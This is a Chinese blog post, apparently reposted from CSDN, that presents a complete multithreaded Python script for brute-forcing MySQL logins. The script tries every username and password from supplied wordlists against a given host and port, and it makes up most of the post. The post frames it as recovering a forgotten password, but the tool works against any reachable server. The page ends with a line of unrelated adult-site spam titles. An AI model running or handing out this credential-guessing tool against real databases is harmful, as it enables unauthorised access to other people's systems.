<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          用Python寫了個工具,完美破解了MySQL

          共 3132字,需瀏覽 7分鐘

           ·

          2021-08-11 09:54

          版權(quán)聲明:本文為博主原創(chuàng)文章,遵循 CC 4.0 BY-SA 版權(quán)協(xié)議,轉(zhuǎn)載請附上原文出處鏈接和本聲明。

          本文鏈接:

          https://blog.csdn.net/l1028386804/article/details/118378477


          今天下班回家想登錄MySQL數(shù)據(jù)庫,很遺憾,我忘記了MySQL數(shù)據(jù)庫的用戶和密碼。我該怎么辦?使用安全模式登錄?我想每個人都應(yīng)該知道這樣一種傳統(tǒng)的方式!今天,讓我們來做個改變,就是用Python寫一個工具來破解MySQL,看看它能不能破解出MySQL的用戶和密碼。


          爆破腳本

          這次編寫的爆破MySQL的Python腳本使用了Python中的多線程編程,并且導(dǎo)入了MySQLdb模塊。運行時,腳本分別接收如下五個參數(shù):

          1. 待破解的ip/domain:例如127.0.0.1

          2. 端口:例如3306

          3. 數(shù)據(jù)庫:例如test

          4. 用戶名列表文件:例如user.txt文件

          5. 密碼列表文件:例如password.txt文件


          下面給出完整的腳本代碼:


          #!/usr/bin/env python# -*- coding: gbk -*-# -*- coding: utf-8 -*-# Date: 2021/07/25# Created by 盟主# Description MySQL暴力破解工具多線程版import os, sys, re, socket, timefrom functools import partialfrom multiprocessing.dummy import Pool as ThreadPool try:    import MySQLdbexcept ImportError:    print '\n[!] MySQLdb模塊導(dǎo)入錯誤,請到下面網(wǎng)址下載:'    print '[!] http://www.codegood.com/archives/129'    exit()  def usage():    print '+' + '-' * 50 + '+'    print '\t   Python MySQL暴力破解工具多線程版'    print '\t   微信公眾號:Python聯(lián)盟'    print '\t\t Code BY: 盟主'    print '\t\t Time:2021-06-30'    print '+' + '-' * 50 + '+'    if len(sys.argv) != 6:        print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 數(shù)據(jù)庫 用戶名列表 密碼列表"        print "實例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1  3306  test user.txt pass.txt"        sys.exit()  def mysql_brute(user, password):    "mysql數(shù)據(jù)庫破解函數(shù)"    db = None    try:        # print "user:", user, "password:", password        db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))        # print '[+] 破解成功:', user, password        result.append('用戶名:' + user + "\t密碼:" + password)    except KeyboardInterrupt:        print '已成功退出程序!'        exit()    except MySQLdb.Error, msg:        print '程序出錯,錯誤信息為:', msg        pass    finally:        if db:            db.close()  if __name__ == '__main__':    usage()    start_time = time.time()    if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):        host = sys.argv[1]    else:        host = socket.gethostbyname(sys.argv[1])    userlist = [i.rstrip() for i in open(sys.argv[4])]    passlist = [j.rstrip() for j in open(sys.argv[5])]    print '\n[+] 目  標(biāo):%s \n' % sys.argv[1]    print '[+] 用戶名:%d 條\n' % len(userlist)    print '[+] 密  碼:%d 條\n' % len(passlist)    print '[!] 密碼破解中,請稍候……\n'    result = []     for user in userlist:        partial_user = partial(mysql_brute, user)        pool = ThreadPool(10)        pool.map(partial_user, passlist)        pool.close()        pool.join()    if len(result) != 0:        print '[+] MySQL密碼破解成功!\n'        for x in {}.fromkeys(result).keys():            print x + '\n'    else:        print '[-] MySQL密碼破解失敗!\n'    print '[+] 破解完成,用時: %d 秒' % (time.time() - start_time)

          腳本編寫完成后,運行,等待了一段時間,將我的MySQL的用戶和密碼完美的破解出來了。


          - EOF -

          回復(fù)關(guān)鍵字“簡明python ”,立即獲取入門必備書籍簡明python教程》電子版

          回復(fù)關(guān)鍵字爬蟲”,立即獲取爬蟲學(xué)習(xí)資料

          點擊關(guān)注【python入門與進(jìn)階】,閱讀更多精彩內(nèi)容
          ??????

          推薦

          瀏覽 54
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  成人在线免费观看三级片 | 中文字幕日产A片在线看 | 亚洲无码成人片 | 日韩欧美国产免费 | 精品v视频 |